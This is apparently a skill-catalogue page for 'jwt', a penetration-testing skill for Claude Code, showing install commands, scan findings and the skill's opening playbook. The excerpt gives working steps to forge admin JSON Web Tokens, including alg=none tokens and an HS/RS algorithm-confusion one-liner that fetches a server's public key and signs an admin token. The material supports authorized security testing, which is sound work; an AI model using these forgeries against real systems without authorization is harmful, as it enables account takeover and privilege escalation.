jwt

jwt is a skill for Claude Code from PentesterFlow/agent. It costs 60 tokens per session (1,477 once invoked), scanned A, original, Apache-2.0.

A security testing guide for JSON Web Tokens (JWTs), which are signed text tokens commonly used to prove a user's identity and permissions between an application and its server.

In plain words
What is it for?
Use it when testing token-based authentication for weaknesses such as skipped signatures, confused signing keys, weak shared secrets, unsafe key lookups, or server-side requests caused by token fields.
Why use it?
It helps investigate whether a website accepts forged or improperly validated login tokens, including problems with signing methods, key references, or embedded keys.

Skill for Claude Code

Written for Claude Code: allowed-tools in frontmatter.

Good fit Use it when testing token-based authentication for weaknesses such as skipped signatures, confused signing keys, weak shared secrets, unsafe key lookups, or server-side requests caused by token fields.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/pentesterflow/agent/jwt
About the project

PentesterFlow is a terminal-based AI assistant for authorized penetration testing and bug hunting, guiding analysts through reconnaissance, testing, evidence gathering, and reporting while requiring human approval for sensitive actions. Security engineers use it with local or hosted language models and real security tools, and the catalogue add-ons extend its workflows.

PentesterFlow/agent · 1,400 stars · on GitHub · pentesterflow.com

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add PentesterFlow/agent --skill jwt
Clone the repo
git clone --depth 1 https://github.com/PentesterFlow/agent

Made for: Claude Code.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for jwt

README.md
[![agentmods](https://agentmods.dev/badge/skills/pentesterflow/agent/jwt/github.svg)](https://agentmods.dev/skills/pentesterflow/agent/jwt)
Your own site
<a href="https://agentmods.dev/skills/pentesterflow/agent/jwt"><img src="https://agentmods.dev/badge/skills/pentesterflow/agent/jwt/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for jwt

Your own site · 80×15
<a href="https://agentmods.dev/skills/pentesterflow/agent/jwt"><img src="https://agentmods.dev/badge/skills/pentesterflow/agent/jwt.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 60 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,477 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 1 finding. A grade says what 26 rules found in the file — not that it is safe. Third-party audits
  • NVIDIA SkillSpector warn 7 Sept 2026
SkillSpector: 3 findings, up to high

These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →

  • high YARA Match · line 105
    YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).
    Fix: Remove offensive tool references and exploit code. Legitimate agent skills should not contain penetration testing tools, exploit frameworks, or reconnaissance utilities.
  • high Privilege Escalation · line 109
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
  • high Privilege Escalation · line 71
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
How audits are shown
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00060 $0.01477
Opus 5.5 $0.00024 $0.00591
Sonnet 5.5 $0.00012 $0.00295
Haiku 4.5 $0.00006 $0.00148

Measured 1mo ago against content hash 22d68bc0dfd4, method: parsed. Prices are Anthropic first-party input rates as of 2026-10-07, from the pricing page.

Security

Grade A, and why

jwt scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 1mo ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

PUB=$(curl -s https://target/.well-known/jwks.json | jq -r '.keys[0]' | jose key -i- -O pem.pub)
skills/jwt/SKILL.md · 130 lines

How it starts

The opening of the file, as written. The whole thing — 130 lines — stays where its author put it; the contents beside it link to each section on GitHub.

JWT playbook

You have one or more eyJ... tokens. The goal is to forge an authenticated token that the server accepts.

Execution rule: use real tokens, URLs, and keys from the scoped target before running commands. Never write literal placeholders such as <payload-b64> or <future> to files; if a value is missing, ask once.

0. Decode every token you have

Base64url-decode header and payload. Note:

  • alg — algorithm. none, HS256, HS384, HS512, RS256, RS384, RS512, ES256, ES384, ES512, PS256...
  • kid — key identifier (path / id pointing at a key on the server).
  • jku — URL to a JWK Set hosting the signing keys.
  • jwk — embedded JWK.
  • x5u — URL to an X.509 certificate.
  • x5c — embedded X.509 chain.
echo "<payload-b64>" | base64 -d | jq .

Capture the user id / role field for later forgery (sub, uid, role, isAdmin, ...).

1. alg=none

Many libraries used to (and a few still do) accept {"alg":"none"} and skip signature verification. Forge:

header  = base64url({"alg":"none","typ":"JWT"})
payload = base64url({"sub":"admin","role":"admin","exp":<future>})
signature = ""           # empty, but the trailing dot stays
token = header + "." + payload + "."

Variants to try: none, None, NONE, NoNe (case fuzzing) — read_payloads(skill="jwt", file="alg-none-variants.txt").

2. HS/RS algorithm confusion

If the server expects RS256 (asymmetric, verifies with public key) and you can obtain the public key, you can forge an HS256 token signed with the public key as the HMAC secret.

Find the public key:

  • /.well-known/jwks.json, /jwks.json, /api/jwks, /oauth2/jwks, /jwks_uri from OIDC discovery.
  • Sometimes embedded in a JS bundle (grep -E "BEGIN PUBLIC KEY" -r).

Forge with hs-rs-confusion.sh:

PUB=$(curl -s https://target/.well-known/jwks.json | jq -r '.keys[0]' | jose key -i- -O pem.pub)
HEAD=$(printf '%s' '{"alg":"HS256","typ":"JWT"}' | base64url)
PAYL=$(printf '%s' '{"sub":"admin","exp":2000000000}' | base64url)
SIG=$(printf '%s.%s' "$HEAD" "$PAYL" | openssl dgst -sha256 -hmac "$(cat pem.pub)" -binary | base64url)
echo "$HEAD.$PAYL.$SIG"

Read the full file on GitHub · 130 lines

Files

What ships with it

3 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 1mo ago First seen · 130 lines · 60 tokens per session scan A 22d68bc0dfd4

Subscribe to this mod's changes

jwt is a skill published in the GitHub repository PentesterFlow/agent (1,400 stars, last pushed 1mo ago), licensed Apache-2.0. It adds 60 tokens to every session and 1,477 once invoked, about $0.0002 per session on Opus 5.5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.